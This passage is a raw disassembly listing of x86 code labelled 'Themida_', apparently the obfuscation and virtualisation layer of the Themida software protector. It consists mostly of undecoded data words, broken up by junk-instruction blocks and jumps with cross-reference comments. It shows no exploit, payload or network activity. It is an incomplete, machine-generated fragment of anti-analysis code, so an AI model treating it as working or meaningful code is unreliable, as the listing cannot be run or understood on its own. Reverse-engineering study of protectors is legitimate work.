66C7FE59h, 0CF7AE950h, 0E955FFFFh, 0FFFF4FABh, 0E9243489h dd 0FFFF84D7h, 5BE9524Bh, 0BDFFFF5Ch, 24C95280h, 62BCE581h dd 0E581448Ah, 162E7175h, 7C75E9h, 2434FF00h, 8324048Bh dd 0EC8104C4h, 4, 52241C89h, 0C281E289h, 4, 0FFA575E9h dd 6990BFFFh, 0F8010696h, 0E9525B5Fh, 0FFFFA745h, 5C24048Fh dd 0E9028864h, 0FFFF29A2h, 335AD101h, 0C31240Ch, 240C3324h dd 0E924248Bh, 0FFFF298Eh, 4893D987h, 0FFE36AE9h, 46856FFh dd 5E07AE0Dh, 0C4F68146h, 896E2824h, 0F7E95EF5h, 0C1FFFFB6h dd 0BE5605E7h, 0FE7BFA04h, 15EF701h, 0D70EE9FBh, 0C481FFFFh dd 4, 0E9545655h, 6EDDh, 56240489h, 908E2BEh, 0B1F68122h dd 8144E87Ah, 0C9695BF6h, 46C9E95Eh, 1E680000h, 58164A0Bh dd 95DDF795h, 7C09C805h, 0ABC7E944h, 0EB80FFFFh, 0C0B60F25h dd 0E987048Dh, 0FFFFF830h, 4BEh, 24740100h, 9E95E04h, 89000035h dd 0B951242Ch, 17DE788Dh, 0E95EA6BDh, 0E9CD315Eh, 0FFFFBD70h dd 931F56B9h, 0AEC18113h, 1EC6CE0h, 0BDE959C8h, 8100002Ah dd 4C4h, 3786E900h, 0CBE90000h, 0FFFFFF28h, 8B042474h dd 0C481241Ch, 4, 8B24048Fh, 89662424h, 0FDE92414h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FF4F: ; CODE XREF: Themida_:00565189j sub al, dl push ebx mov bl, 5Ch not bl not bl xor bl, 0C9h dec bl sub bl, 0A0h add al, bl jmp loc_561ED0 ; --------------------------------------------------------------------------- db 89h dd 0E9542434h, 0FFFF915Ah ; --------------------------------------------------------------------------- loc_55FF70: ; CODE XREF: Themida_:0056085Dj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 0C8B66C3h, 0D2685324h, 8900002Eh, 4832424h, 575B0424h dd 1764E951h, 0C2810000h, 0EDD26E5Ch, 555AD189h, 811F7368h dd 242C8B3Dh, 0E904C483h, 5D86h, 505753BAh, 9FCA8171h dd 422B6F34h, 4846F281h, 0D7096847h, 0F3CF815Ah, 47760030h dd 6A4868h, 24348900h, 0BF7FF4BEh, 5EF72977h, 0AE9FB01h dd 87000049h, 0DFE9240Ch, 68000073h, 7DDCh, 0BA241489h dd 25ED1E3Bh, 0E281D2F7h, 24F43C08h, 760EEA81h, 0E2C14EB8h dd 5212E903h, 68570000h, 4, 54D0E95Fh, 483FFFFh, 575B0424h dd 5EBB5352h, 896F9662h, 0DAF75BDAh, 13C6E9h, 21296800h dd 2C890000h, 0E2895224h, 4C281h, 0A3E90000h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56003F: ; CODE XREF: Themida_:005605F2j shr eax, 0Ch xor eax, ecx xor eax, esi xor esi, eax xor eax, esi jmp loc_558BF1 ; --------------------------------------------------------------------------- db 0FFh dd 0E95B2434h, 0FFFF6158h, 3835E95Ch, 0C2800000h, 66EA807Dh dd 46E9EA00h, 0FFFFFFD6h, 81E92434h, 0FF000010h, 815B2434h dd 4C4h, 0D336E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560082: ; CODE XREF: Themida_:0056137Aj mov ah, bh pop ebx jmp loc_559807 ; --------------------------------------------------------------------------- loc_56008A: ; CODE XREF: Themida_:00556EC4j add edi, edx add edi, 39A7774Eh jmp loc_5622F9 ; --------------------------------------------------------------------------- db 31h dd 25A3E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56009E: ; CODE XREF: Themida_:0055E0DFj or eax, eax jz loc_562309 push dword ptr [edi+28h] push 48DBh mov [esp], esi jmp loc_5657BA ; --------------------------------------------------------------------------- dw 815Dh dd 4C3h, 241C3300h, 33241C31h, 248B241Ch, 24148B24h, 1FFEE9h db 0 ; --------------------------------------------------------------------------- loc_5600D1: ; CODE XREF: Themida_:0055D3FEj add eax, ebp pop ebp jmp loc_565EEA ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0FFD8315Ch, 1C8B2434h, 0E9545224h, 0FFFFA306h, 66A3E95Eh dd 2BBBFFFFh, 514CAA69h, 7D1F4FB9h, 8BCB210Bh, 0C481240Ch dd 4, 62B5EB81h, 0FEE96259h, 5FFFFF59h, 32CEC281h, 0EA816C3Dh dd 0E1800166h, 2E74C781h, 0D7013E27h, 2E74EF81h, 875A3E27h dd 685C243Ch, 7C7Eh, 2E5CE9h, 24048900h, 468E089h, 8900001Ah dd 0CDBA2414h, 0C137667Fh, 0F28108EAh, 37667Bh, 515AD001h dd 5968A5B9h, 6BC9814Dh, 4174D242h, 4AC6E181h, 0E1C1569Eh dd 0CA1BE902h, 0D1F7FFFFh, 45A0F181h, 0C181285Dh, 2FAFAB80h dd 0BB59CE89h, 1FCC7138h, 4EC8350h, 0E9241C89h, 0FFFFCB43h dd 5A5AC781h, 0CF016B24h, 5A5AEF81h, 81596B24h, 961B74C7h dd 0FB8953BCh, 14E9DA89h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5601B7: ; CODE XREF: Themida_:0055A501j mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_567247 ; --------------------------------------------------------------------------- loc_5601C7: ; CODE XREF: Themida_:0055C793j xor eax, edi mov edi, [esp] add esp, 4 push 5F39h mov [esp], edx jmp loc_56515E ; --------------------------------------------------------------------------- db 53h dd 66E9E389h, 8BFFFF7Ch, 89562404h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 0E9F2815Ch, 0E95B9B01h, 0FFFFE7FBh ; --------------------------------------------------------------------------- loc_560208: ; CODE XREF: Themida_:0055E4E3j mov edi, 75C00A89h add [esp+8], edi push dword ptr [esp] mov edi, [esp] add esp, 4 push edx push esp pop edx push eax mov eax, 54615E3Dh not eax shr eax, 8 add eax, 29581101h xor eax, 2A03AFA6h add edx, eax pop eax add edx, 4 xchg edx, [esp] mov esp, [esp] push eax mov eax, 659A439Ah sub [esp+8], eax mov eax, [esp] add esp, 4 jmp loc_5614D5 ; --------------------------------------------------------------------------- loc_560256: ; CODE XREF: Themida_:00562675j sub eax, esi pop esi push edx mov edx, 88B6B619h sub eax, edx pop edx and ebp, eax pop eax jmp loc_55C4A9 ; --------------------------------------------------------------------------- dw 814Ah dd 2A3C7EEAh, 3E2C16Ah, 0FF5E3AE9h, 4C181FFh, 83000000h dd 0C8704C1h, 0D6E95C24h, 0BBFFFFD0h, 6F6348F7h, 0E2EB8143h dd 513D307Eh, 441C2CB9h, 75F18134h, 0D145EF4Ah, 0DF55E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5602AA: ; CODE XREF: Themida_:0055EAF5j mov edx, 24F60B5Ah neg edx xor edx, 35B246DFh inc edx neg edx push eax mov eax, 47EB3873h add eax, 7F941FB3h jmp loc_55EE14 ; --------------------------------------------------------------------------- dw 0F2BDh dd 813B0165h, 0D67410C5h, 5DE90169h, 0FF54B9E9h, 1D9EB8FFh dd 0E8830CCEh, 6E0C1FFh, 8767C435h, 0E9C30133h, 0FFFF8659h dd 0CA8853B1h, 0D3005966h, 0ACE9515Ah, 66FFFF97h, 66241C89h dd 22474FFh, 0FF5C1AE9h, 3D1168FFh, 2C890000h, 0A06E924h dd 0F0BF0000h, 4F43E721h, 0B850E7D1h, 7D1D2088h, 8158C709h dd 0BC07D6F7h, 0C1CF814Fh, 8171B82Ah, 8A6A93F7h, 0B283E9CEh dd 3C8BFFFFh, 4C48324h, 4C781h, 0BA520000h, 4146469Ah dd 0C106E2C1h, 0C28105EAh, 7646170Bh, 0FF8EF6E9h db 0FFh ; --------------------------------------------------------------------------- loc_560369: ; CODE XREF: Themida_:00562DCEj pop esp jmp loc_56204A ; --------------------------------------------------------------------------- db 89h dd 0EC83242Ch, 243C8904h, 1F6B68h, 24048900h, 2F54A5B8h dd 0E9C7895Eh, 0FFFFB8EBh, 784CC681h, 0C6813E54h, 76956E3Ch dd 0EE81FE01h, 76956E3Ch, 784CEE81h, 565F3E54h, 42474FFh dd 8124348Bh, 4C4h, 24048F00h, 0E924248Bh, 5CD9h ; --------------------------------------------------------------------------- loc_5603C0: ; CODE XREF: Themida_:0055ED6Aj xor [esp], eax xor eax, [esp] pop esp mov [esp], ecx jmp loc_560F04 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD359h, 2420E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5603DE: ; CODE XREF: Themida_:00554F08j mov ecx, esi push ecx jmp loc_55FCA8 ; --------------------------------------------------------------------------- loc_5603E6: ; CODE XREF: Themida_:005658BEj not edi add edi, 45F96066h mov eax, edi jmp loc_55ED85 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 5 dd 506C181h, 0C18150D0h, 9BB39FBEh, 159CA89h, 0E6E95AD6h dd 5DFFFFF6h, 74ACEF81h, 0F729220Dh, 74ACC781h, 0C781220Dh dd 2F254545h, 0D3E9C35Eh, 89FFFF23h, 0E2E958C1h, 1FFFFECh dd 74C381CBh, 0E9153431h, 0FFFF6C78h, 4C181h, 55E90000h dd 0B8FFFF8Ah, 7B396F02h, 696DE950h, 1B68FFFFh, 89000047h dd 0E9542434h, 0FFFF9C9Dh, 8124048Bh, 4C4h, 0C35FE900h dd 3487FFFFh, 4DE95C24h, 66000010h, 50CCB60Fh, 4AE9E089h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560487: ; CODE XREF: Themida_:005552C0j push edx push ecx mov ch, bh mov dh, ch pop ecx mov cl, dh pop edx mov dl, cl jmp loc_56417A ; --------------------------------------------------------------------------- dd 89E9E589h, 0C1FFFF4Ah, 0C58104EDh, 96B63C2h, 4EC81h dd 34890000h, 0AE5BE24h, 0B95101C0h, 222746FAh, 3048C181h dd 87E901B8h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5604C7: ; CODE XREF: Themida_:00566E35j push esp pop eax add eax, 4 jmp loc_5623BA ; --------------------------------------------------------------------------- db 5Bh dd 0FF533DE9h, 0E9E801FFh, 24B7h, 58BE565Ah, 8121FA36h dd 0FF342BEEh, 3D3EE928h, 0C89FFFFh, 47466824h, 24890000h dd 24048124h, 4, 0FFE94FE9h, 4EC81FFh, 89000000h, 0E389241Ch dd 4C381h, 0C3830000h, 241C3304h, 33241C31h, 2D5C241Ch dd 11B7102Ah, 2854E9h, 0E3E94A00h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560537: ; CODE XREF: Themida_:0055A24Fj xchg ebp, [esp] pop esp jmp loc_557748 ; --------------------------------------------------------------------------- dd 0E093E951h, 0D301FFFFh, 49C3815Ah, 165A633h, 2434FFD8h dd 83241C8Bh, 895204C4h, 4C281E2h, 0E9000000h, 0FFFFB04Ch dd 0F4805EB4h, 0D5F4804Eh, 0EE68CCFEh, 8900001Ah, 0A8E9241Ch dd 68000027h, 51C0h, 0BD242C89h, 3B8B6FB7h, 34FFEF09h dd 0C4835D24h, 5E47E904h, 0C14F0000h, 685004EFh, 2BCA1D02h dd 0E9C73158h, 6A32h, 81DE015Bh, 4D4A37EEh, 49E95B41h dd 5BFFFF3Fh, 2D59C801h, 0FAB783Ch, 3503E8C1h, 50EB3C9Ch dd 0F9E9C301h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5605D3: ; CODE XREF: Themida_:0055BCA1j xor ax, si jmp loc_563B32 ; --------------------------------------------------------------------------- loc_5605DB: ; CODE XREF: Themida_:00553872j xchg eax, [edi+24h] jmp loc_55F1EB ; --------------------------------------------------------------------------- loc_5605E3: ; CODE XREF: Themida_:005634C3j pop ebp and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_56003F ; --------------------------------------------------------------------------- loc_5605F7: ; CODE XREF: Themida_:0055D42Dj mov [esp], esi dec dword ptr [esp] jmp loc_55BBB3 ; --------------------------------------------------------------------------- dw 2705h dd 0E9478D71h, 0FFFF9279h, 34B05053h, 0FF2244E9h, 241CF7FFh dd 4E3C15Bh, 0BFA8E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560622: ; CODE XREF: Themida_:005608A2j xor [esp], edx jmp loc_55BCBD ; --------------------------------------------------------------------------- dw 31ADh dd 4EC81D8h, 0E9000000h, 0FFFFC816h, 3805972Dh, 2434FF0Dh dd 3580E9h, 2454F600h, 0B1AFE901h, 4B9FFFFh, 1000000h dd 6A1EE9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56065A: ; CODE XREF: Themida_:0055E42Aj push 4D5Dh mov [esp], ebx jmp loc_558719 ; --------------------------------------------------------------------------- db 0B4h dd 66C4FE88h, 0E984B151h, 0FFFF5BE3h, 2B7A4568h, 0F1815972h dd 20D065EFh, 6ED6EE81h, 3BE948E6h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56068B: ; CODE XREF: Themida_:0056485Ej mov edx, [esp] add esp, 4 sub bl, al push eax push ebx jmp loc_55BBD9 ; --------------------------------------------------------------------------- loc_56069A: ; CODE XREF: Themida_:00555BD3j add edx, ebp pop ebp mov ebp, [esp] add esp, 4 jmp loc_56435E ; --------------------------------------------------------------------------- loc_5606A8: ; CODE XREF: Themida_:00563B11j add eax, 4 xchg eax, [esp] mov esp, [esp] push 69C2h jmp loc_55B748 ; --------------------------------------------------------------------------- db 0BEh, 0ACh, 32h dd 0EEC1668Ch, 43EE8104h, 318FFB9Fh, 6DFBE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606D2: ; CODE XREF: Themida_:0055D039j pop edx add eax, 0DB74D59h jmp loc_566BBB ; --------------------------------------------------------------------------- loc_5606DD: ; CODE XREF: Themida_:00554722j add edx, eax push ebx mov ebx, 33F46649h jmp loc_5557A7 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFF7809h, 5C241C33h, 0FF15EA81h, 0CEE9A509h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5606FF: ; CODE XREF: Themida_:0055CB2Cj xor esi, 533F24AEh sub eax, 12E503E1h add eax, esi add eax, 12E503E1h pop esi xor eax, 6C6D1849h jmp loc_55E2D8 ; --------------------------------------------------------------------------- dd 4C381h, 0C3830000h, 241C8704h, 4EC815Ch, 89000000h dd 4BF243Ch, 0E9000000h, 0FFFF682Dh ; --------------------------------------------------------------------------- loc_56073C: ; CODE XREF: Themida_:005573F8j xchg edx, edi not edx xor edi, edx jmp loc_5667F7 ; --------------------------------------------------------------------------- db 5Ah dd 28EDC580h, 292C59EBh, 0FFEB9CE9h, 73E95BFFh, 81FFFF9Ah dd 0BE6E5FCAh, 50F28107h, 81228B5Fh, 0EB5AD2E2h, 0CF2811Ah dd 51565C1Ah, 5B6494B9h, 0E9D1F706h, 3697h, 8B2434FFh dd 0C483241Ch, 59F16804h, 14890000h, 0B2F6E924h, 0EBC1FFFFh dd 0B5C38102h, 9334DE5h, 0D5F75BDDh, 0FF86E5E9h, 4567B9FFh dd 0D9F720DAh, 83E9E981h, 0CB217EE2h, 9109E959h, 5066FFFFh dd 88A3B652h, 0F2E95AF4h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5607CB: ; CODE XREF: Themida_:00565572j dec byte ptr [esp] pushf jmp loc_5527FE ; --------------------------------------------------------------------------- dd 4C681h, 0C6830000h, 24348704h, 18D3E9h, 4C48300h, 0E8EEA81h dd 0CAE91F9Dh, 5B000030h, 0F94C181h, 0B8507923h, 249C350Dh dd 8158C101h, 554385E1h, 4EC817Eh, 0E9000000h, 3921h ; --------------------------------------------------------------------------- loc_560814: ; CODE XREF: Themida_:0055EB23j pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp pop dx add al, 92h jmp loc_557DB3 ; --------------------------------------------------------------------------- dd 0E95EF101h, 0FFFF6949h, 0B6241489h, 5EEC035h, 0EE80DEF6h dd 50D6F6A5h, 0DCF6B0B4h, 8008ECC0h, 0E630E9F4h, 6AF0E9h db 0 ; --------------------------------------------------------------------------- loc_560851: ; CODE XREF: Themida_:005581A1j pop ebp mov edx, [esp] jmp loc_556E34 ; --------------------------------------------------------------------------- loc_56085A: ; CODE XREF: Themida_:00563912j movzx eax, al jmp loc_55FF70 ; --------------------------------------------------------------------------- dw 8B54h dd 54532414h, 81241C8Bh, 4C4h, 7051E900h, 83590000h, 148704C4h dd 24248B24h, 0FF5501E9h db 0FFh ; --------------------------------------------------------------------------- loc_560885: ; CODE XREF: Themida_:00567371j and edi, ebx jmp loc_567502 ; --------------------------------------------------------------------------- loc_56088C: ; CODE XREF: Themida_:0055775Cj push ebp jmp loc_561953 ; --------------------------------------------------------------------------- loc_560892: ; CODE XREF: Themida_:00555FF3j mov edi, 25A516ABh sub edi, 1 not edi push edi xchg edx, [esp] not edx jmp loc_560622 ; --------------------------------------------------------------------------- db 28h dd 241C8BFEh, 4C481h, 6AE90000h, 87000041h, 0E95C240Ch dd 0FFFFC550h, 6821F680h, 3A0h, 0E9241C89h, 0FFFF24A1h dd 0E959EA88h, 0FFFFEB2Ah, 2B60F66h, 685B5453h, 6130h dd 1CF6E9h db 0 ; --------------------------------------------------------------------------- loc_5608E9: ; CODE XREF: Themida_:00563AB3j mov esi, 49270FEEh mov eax, 0B6D8F016h add eax, esi pop esi sub esi, eax pop eax jmp loc_55CDE1 ; --------------------------------------------------------------------------- dw 0C501h dd 6E1DE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560906: ; CODE XREF: Themida_:0056132Dj pop ecx push ecx mov ecx, 4 add edi, ecx pop ecx jmp loc_55AE4A ; --------------------------------------------------------------------------- db 68h, 10h, 27h dd 1C890000h, 88D78824h, 61E95BF9h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560927: ; CODE XREF: Themida_:00564761j mov [esp], edi xchg ecx, [esp] push ecx jmp loc_55ED0D ; --------------------------------------------------------------------------- loc_560933: ; CODE XREF: Themida_:0055471Aj not dword ptr [esp] jmp loc_5646B3 ; --------------------------------------------------------------------------- db 55h dd 0FFDED5E9h, 81D2F7FFh, 0B3D66CF2h, 46C7E999h, 0AB25FFFFh dd 0C166E606h, 650508E0h, 2D0EBA56h, 4E657F38h, 12Dh, 81283500h dd 0C201C659h, 0FF33EBE9h, 4BD3F7FFh, 8A1E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56097A: ; CODE XREF: Themida_:00560F8Bj mov [esp], edx jmp loc_55C034 ; --------------------------------------------------------------------------- dw 0CB81h dd 5E067FF5h, 0DB951h, 0CB0120D0h, 5BD90159h, 370AE9h dd 4BE5600h, 0E9000000h, 0FFFFC416h, 75BF5755h, 8163EE02h dd 0DF5B01EFh, 5EFC149h, 0CFFDE947h, 0BE56FFFFh, 1559094Ah dd 0FF596DE9h, 58C389FFh, 22E4E9h, 2434FF00h, 5B2434FFh dd 57595451h, 3555A5BFh, 5DF78146h, 0E90A977Bh, 0FFFF2F67h dd 81240C8Bh, 4C4h, 68575100h, 65047A43h, 0B3F7815Fh, 0C16AD532h dd 0BE5607E7h, 6793785Fh, 8106E6C1h, 6558EDE6h, 0F6814620h dd 100DC4E0h, 895EF701h, 62E95FF9h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A23: ; CODE XREF: Themida_:00560E07j pop eax sub esp, 4 mov [esp], eax pop ecx mov eax, [esp] add esp, 4 jmp loc_559F69 ; --------------------------------------------------------------------------- loc_560A36: ; CODE XREF: Themida_:0055BDD6j push 6329h mov [esp], edi xchg edx, [esp] jmp loc_555DFA ; --------------------------------------------------------------------------- dw 895Bh dd 242C8BEBh, 0FFB850E9h, 0E9F001FFh, 5F58h, 0FAE9EE29h dd 5BFFFF7Ah, 67EC581h, 84682576h, 8900006Fh, 0B9512404h dd 4A8329F5h, 241720B8h, 4522E908h, 1C8B0000h, 4C48324h dd 31240C33h, 0C33240Ch, 5EE95C24h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_560A93: ; CODE XREF: Themida_:005629BDj mov esi, ebx pop ebx jmp loc_566824 ; --------------------------------------------------------------------------- db 81h dd 0FD1E22C5h, 5DEE013Ch, 0FFC525E9h, 24048FFFh, 0E924248Bh dd 0FFFFD0D8h ; --------------------------------------------------------------------------- loc_560AB4: ; CODE XREF: Themida_:00552A29j mov ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 2 neg ecx push edi mov edi, 0 sub edi, ecx mov ecx, edi pop edi sub ecx, 15E182AFh add ebx, ecx pop ecx sub ebx, 4 xchg ebx, [esp] jmp loc_55DD4A ; --------------------------------------------------------------------------- dw 0B353h dd 80DBF6B7h, 0F38038E3h, 0D8EB80BEh, 77EE80h, 77C680DEh dd 5B2434FFh, 4C483h, 0CB285AF1h, 83240C8Bh, 0B15104C4h dd 0EFC9802Ah, 6B4BE9h db 0 ; --------------------------------------------------------------------------- loc_560B19: ; CODE XREF: Themida_:0055E407j add ebp, eax pop eax jmp loc_567A53 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C2414h, 0FFFF1CCEh, 4C581h, 0C5830000h dd 242C8704h, 0FF1E36E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h dd 0A3B4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B56: ; CODE XREF: Themida_:00564C3Fj add edx, eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 6EA0h mov [esp], esi jmp loc_558713 ; --------------------------------------------------------------------------- loc_560B70: ; CODE XREF: Themida_:00554614j mov [esp], ebp mov ebp, 2A8C2AE1h push ebp xchg edi, [esp] not edi jmp loc_55D488 ; --------------------------------------------------------------------------- aIIZs db 'ˆÂˆ×Zé²-',0 dd 0EC835B00h, 0D95EE904h, 0BA05FFFFh, 5B56A427h, 0E9C33159h dd 0FFFF9BCEh, 0C781E789h, 4, 4C781h, 3C870000h, 85E95C24h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560BBB: ; CODE XREF: Themida_:0055B760j sub [esp+4], edx push ecx jmp loc_555D3B ; --------------------------------------------------------------------------- loc_560BC5: ; CODE XREF: Themida_:0055E4EFj pop ebx jmp loc_55D6FA ; --------------------------------------------------------------------------- db 55h dd 0FFB4E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_560BD1: ; CODE XREF: Themida_:00559111j xchg esi, [esp] mov esp, [esp] jmp loc_55E331 ; --------------------------------------------------------------------------- loc_560BDC: ; CODE XREF: Themida_:00556B16j pop edi pop ecx push edx mov edx, 0ABB6274h shl edx, 1 sub edx, 0CC738305h sub ecx, edx pop edx push edx jmp loc_557915 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF89FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_560BFD: ; CODE XREF: Themida_:00554789j push 3EFh jmp loc_557BE7 ; --------------------------------------------------------------------------- db 0B8h dd 0B8142DDh, 0BC390E05h, 0E7EB8110h, 2904B010h, 395D68C3h dd 0D0E90000h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C23: ; CODE XREF: Themida_:005564FCj add ebx, 88D4D19h sub ebx, esi sub ebx, 88D4D19h pop esi jmp loc_554C49 ; --------------------------------------------------------------------------- loc_560C37: ; CODE XREF: Themida_:00565683j push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx jmp loc_561F3B ; --------------------------------------------------------------------------- loc_560C45: ; CODE XREF: Themida_:00563D55j mov ecx, esp push 3476h mov [esp], edi push ecx mov ecx, 280B7BE2h push eax mov eax, 68363406h jmp loc_555266 ; --------------------------------------------------------------------------- loc_560C60: ; CODE XREF: Themida_:0055DF1Ej push esp pop esi add esi, 4 jmp loc_55971F ; --------------------------------------------------------------------------- loc_560C6D: ; CODE XREF: Themida_:0055D1FEj sub edi, 34715F03h add edi, 74F534BAh push ebx mov ebx, 514B4CC9h shr ebx, 8 dec ebx sub ebx, 0D40ED68Dh sub edi, 6D0C2B9Ch add edi, ebx add edi, 6D0C2B9Ch pop ebx pop esi xor edi, [esp] xor [esp], edi jmp loc_56357D ; --------------------------------------------------------------------------- dd 1143EB81h, 20E90886h, 0BD000068h, 42CF13B2h, 815DEA21h dd 0F9FD04C2h, 17BD55BFh, 1127E33h, 0D0015DE8h, 7E33172Dh dd 24148B12h, 504C483h, 2, 8B240487h, 41E92424h, 56FFFF67h dd 11383168h, 0DEF75E1Bh, 0E4A3F681h, 0F589F3AFh, 4A15E95Eh dd 0F1800000h, 80C9FE68h, 0C9FE9FC9h, 0FFDD04E9h, 243C87FFh dd 240C875Ch, 0E924248Bh, 0FFFFB9C2h, 53CFED81h, 0E955AF40h dd 0FFFFADD0h, 0B951E589h, 4, 0C8BCD01h, 4C48324h, 6802C583h dd 270Bh, 0E9240C89h, 0FFFFB2C7h, 9D1C77FFh, 24041158h dd 1AACE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D52: ; CODE XREF: Themida_:0055632Dj mov ecx, [esp] add esp, 4 or edx, eax shl edx, 1 push 15B0h mov [esp], edx push edi mov edi, 1 push ebx mov ebx, edi jmp loc_55CC2A ; --------------------------------------------------------------------------- loc_560D75: ; CODE XREF: Themida_:00562809j mov esp, [esp] jmp loc_558A91 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 9FC2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D8A: ; CODE XREF: Themida_:005566E4j inc al jmp loc_552B85 ; --------------------------------------------------------------------------- db 1, 0D8h, 57h dd 0FFF0A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_560D99: ; CODE XREF: Themida_:005673FAj sub eax, 43FB4B48h jmp loc_55D445 ; --------------------------------------------------------------------------- db 81h dd 104728EBh, 240C8B6Fh, 8104C483h, 0A642BBC3h, 148B6608h dd 4EC8124h, 89000000h, 93E92404h, 0D1FFFFE5h, 9CBA52EEh dd 817E7C54h, 44F05DEAh, 5AD629E2h, 62E7E9h db 0 ; --------------------------------------------------------------------------- loc_560DDD: ; CODE XREF: Themida_:00558BDFj inc ebx push edx mov edx, 1C941011h jmp loc_56242B ; --------------------------------------------------------------------------- loc_560DE9: ; CODE XREF: Themida_:00561246j not dword ptr [esp] jmp loc_55E522 ; --------------------------------------------------------------------------- loc_560DF1: ; CODE XREF: Themida_:00564D00j mov [esp], ebx mov edi, [esp] add esp, 4 push eax sub esp, 4 mov [esp], edi jmp loc_560A23 ; --------------------------------------------------------------------------- dd 0B8240489h, 433E5A0Dh, 1E88348h, 3E5A0935h, 4EC8343h dd 0E9240C89h, 0FFFFD5E4h ; --------------------------------------------------------------------------- loc_560E28: ; CODE XREF: Themida_:005617C9j add eax, 33B962E0h or eax, 13A3362Ah not eax sub eax, 0CBC725Ch sub eax, 0D9D9DDD3h jmp loc_565E5C ; --------------------------------------------------------------------------- loc_560E43: ; CODE XREF: Themida_:0055CF6Bj mov edi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5640B8 ; --------------------------------------------------------------------------- db 89h dd 0B6E9240Ch, 81FFFFA8h, 57A92434h, 0E95A7779h, 0FFFFBC87h dd 83242C8Bh, 0D00104C4h, 47CEE9h db 0 ; --------------------------------------------------------------------------- loc_560E79: ; CODE XREF: Themida_:005654A7j add ebx, 56A04BA9h jmp loc_552E0E ; --------------------------------------------------------------------------- dd 2C19045Bh, 4E8006Bh, 5153666Bh, 0EB8819B5h, 1FB5E9h dd 5E5C100h, 7D18F581h, 0C5814992h, 0B15DFA89h, 0DAE9EE89h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560EAF: ; CODE XREF: Themida_:0055D93Aj mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop eax push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 2 jmp loc_55AC2A ; --------------------------------------------------------------------------- dw 34FFh dd 9B9DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560EEA: ; CODE XREF: Themida_:0056173Ej add esp, 4 pop edx xchg eax, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_55B412 ; --------------------------------------------------------------------------- loc_560F04: ; CODE XREF: Themida_:005603CAj jmp loc_5527FE ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF6A9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_560F11: ; CODE XREF: Themida_:00558C76j add ebp, 1A6A0DD0h jmp loc_563300 ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 81DEF700h, 0E05924C6h, 5EF28936h, 815AD689h dd 0D520F8F6h, 5EF5890Fh, 15DEA89h, 5D88E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560F46: ; CODE XREF: Themida_:0055E2C8j xor ebx, ebp jmp loc_557CC4 ; --------------------------------------------------------------------------- dd offset dword_591B68 align 2 dw 0EC83h dd 2FABE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560F5A: ; CODE XREF: Themida_:0055C351j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 5D0Dh mov [esp], esi push esp pop esi push eax mov eax, 4 add esi, eax mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_56097A ; --------------------------------------------------------------------------- dd 0C783D7F7h, 0CEEF8101h, 31DE5A44h, 0E9815FF9h, 1, 0C992E981h dd 0ED8143E1h, 511152FCh, 0BF57CD01h, 511152FCh, 0CE9FD01h dd 8B000064h, 0F7662424h, 24E953E1h db 0D6h, 2 dup(0FFh) 